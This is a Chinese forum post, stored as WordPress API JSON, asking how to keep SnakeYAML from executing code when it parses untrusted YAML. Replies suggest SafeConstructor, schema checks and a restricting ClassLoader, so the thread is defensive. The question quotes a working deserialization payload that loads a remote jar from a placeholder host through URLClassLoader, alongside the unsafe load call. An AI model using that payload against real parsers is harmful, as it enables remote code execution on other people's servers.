{"id":233458,"date":"2020-12-28T17:14:13","date_gmt":"2020-12-28T09:14:13","guid":{"rendered":"http:\/\/4563.org\/?p=233458"},"modified":"2020-12-28T17:14:13","modified_gmt":"2020-12-28T09:14:13","slug":"%e8%af%b7%e6%95%99%e5%a4%a7%e5%ae%b6%e4%b8%80%e4%b8%8b%ef%bc%8c%e5%a6%82%e4%bd%95%e9%81%bf%e5%85%8d-snakeyaml-%e8%a7%a3%e6%9e%90-yaml-%e6%96%87%e4%bb%b6%e6%97%b6%e8%a2%ab%e6%b3%a8%e5%85%a5%e6%81%b6","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=233458","title":{"rendered":"\u8bf7\u6559\u5927\u5bb6\u4e00\u4e0b\uff0c\u5982\u4f55\u907f\u514d snakeyaml \u89e3\u6790 yaml \u6587\u4ef6\u65f6\u88ab\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u5bfc\u81f4\u8fdc\u7a0b\u6267\u884c\u5462"},"content":{"rendered":"<div>\n<div>\n<div>\n<h1>                  \u8bf7\u6559\u5927\u5bb6\u4e00\u4e0b\uff0c\u5982\u4f55\u907f\u514d snakeyaml \u89e3\u6790 yaml \u6587\u4ef6\u65f6\u88ab\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u5bfc\u81f4\u8fdc\u7a0b\u6267\u884c\u5462               <\/h1>\n<p> <\/p>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : sqfphoenix <\/span>  <span><i><\/i> 8<\/span> <\/div>\n<div> <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<div isfirst=\"1\"> <\/p>\n<p>\u76ee\u524d\u6709\u8fd9\u4e48\u4e00\u4e2a\u9700\u6c42\uff0c\u9700\u8981\u89e3\u6790\u4e00\u4e2a\u4e0d\u786e\u5b9a\u683c\u5f0f\u7684 yaml \u6587\u4ef6\u4e3a json \u3002\u4f46\u662f\u5982\u679c yaml \u662f\u6076\u610f\u7684\uff0c\u5982<\/p>\n<pre><code>!!javax.script.ScriptEngineManager [   !!java.net.URLClassLoader [[     !!java.net.URL [\"http:\/\/x.x.x.x\/doSomething.jar\"]   ]] ] <\/code><\/pre>\n<p>\u901a\u8fc7 snakeyaml \u65b9\u6cd5\u89e3\u6790<\/p>\n<pre><code>Yaml yaml = new Yaml(); \/\/\u56e0\u4e3a\u4e0d\u80fd\u786e\u5b9a yaml \u5177\u4f53\u683c\u5f0f\uff0c\u6240\u4ee5\u4e0d\u80fd\u901a\u8fc7 Constructor \u7684\u65b9\u5f0f\u907f\u514d\u6f0f\u6d1e Object obj = yaml.load(yamlString); <\/code><\/pre>\n<p>\u6b64\u65f6\u5c31\u4f1a\u6709\u8fdc\u7a0b\u6267\u884c\u7684\u95ee\u9898 \u8bf7\u6559\u5927\u5bb6\u8fd9\u4e2a\u95ee\u9898\u5982\u4f55\u89e3\u51b3\u5462\uff0c\u901a\u8fc7\u53c2\u6570\u6821\u9a8c yaml \u5185\u5bb9\u4e5f\u4e0d\u592a\u597d\u89e3\u51b3\uff0c\u56e0\u4e3a\u53ef\u80fd yaml \u4f1a\u6709\u5176\u4ed6\u53d8\u5f62<\/p>\n<\/p><\/div>\n<div> <b>\u5927\u4f6c\u6709\u8a71\u8aaa<\/b> (<span>3<\/span>)        <\/div>\n<div> <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<ul>\n<li data-pid=\"4586378\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : GM <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             schema \u9a8c\u8bc1\uff1f                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"4586379\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : dousha99 <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u5982\u679c\u4e0d\u80fd\u9884\u77e5\u4efb\u4f55\u4fe1\u606f\uff0c\u53ea\u77e5\u9053\u8fd9\u4f1a\u662f\u4e00\u4e2a\u7528\u6237\u8f93\u5165\uff0c\u90a3\u4e48\u8fd9\u4e2a\u9700\u6c42\u662f\u5b8c\u5168\u4e0d\u9760\u8c31\u7684&#8230;<\/p>\n<p>\u4e0d\u8fc7\u56e0\u4e3a\u662f\u89e3\u6790\u4e3a JSON, \u90a3\u4e48\u6309\u9053\u7406\u5e94\u8be5\u662f\u53ef\u4ee5\u4f7f\u7528 `SafeConstructor` \u6765\u89e3\u6790\u6210 POJO.<\/p>\n<p>\u6216\u8005\uff0c\u81ea\u5df1\u5199\u4e00\u4e2a ClassLoader \u63d0\u4f9b\u7ed9 SnakeYaml, \u62e6\u622a\u6389\u4f60\u8ba4\u4e3a\u5371\u9669\u7684 Class \u5c31\u53ef\u4ee5\u4e86\u3002                                                            <\/p><\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"4586380\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : miao1007 <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             jenkins \u6709\u5b9a\u5236\u540e\u7684 yaml                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li>\n","protected":false},"excerpt":{"rendered":"<p>\u8bf7\u6559\u5927\u5bb6\u4e00\u4e0b\uff0c\u5982\u4f55\u907f\u514d snake&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/233458"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=233458"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/233458\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=233458"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=233458"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=233458"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}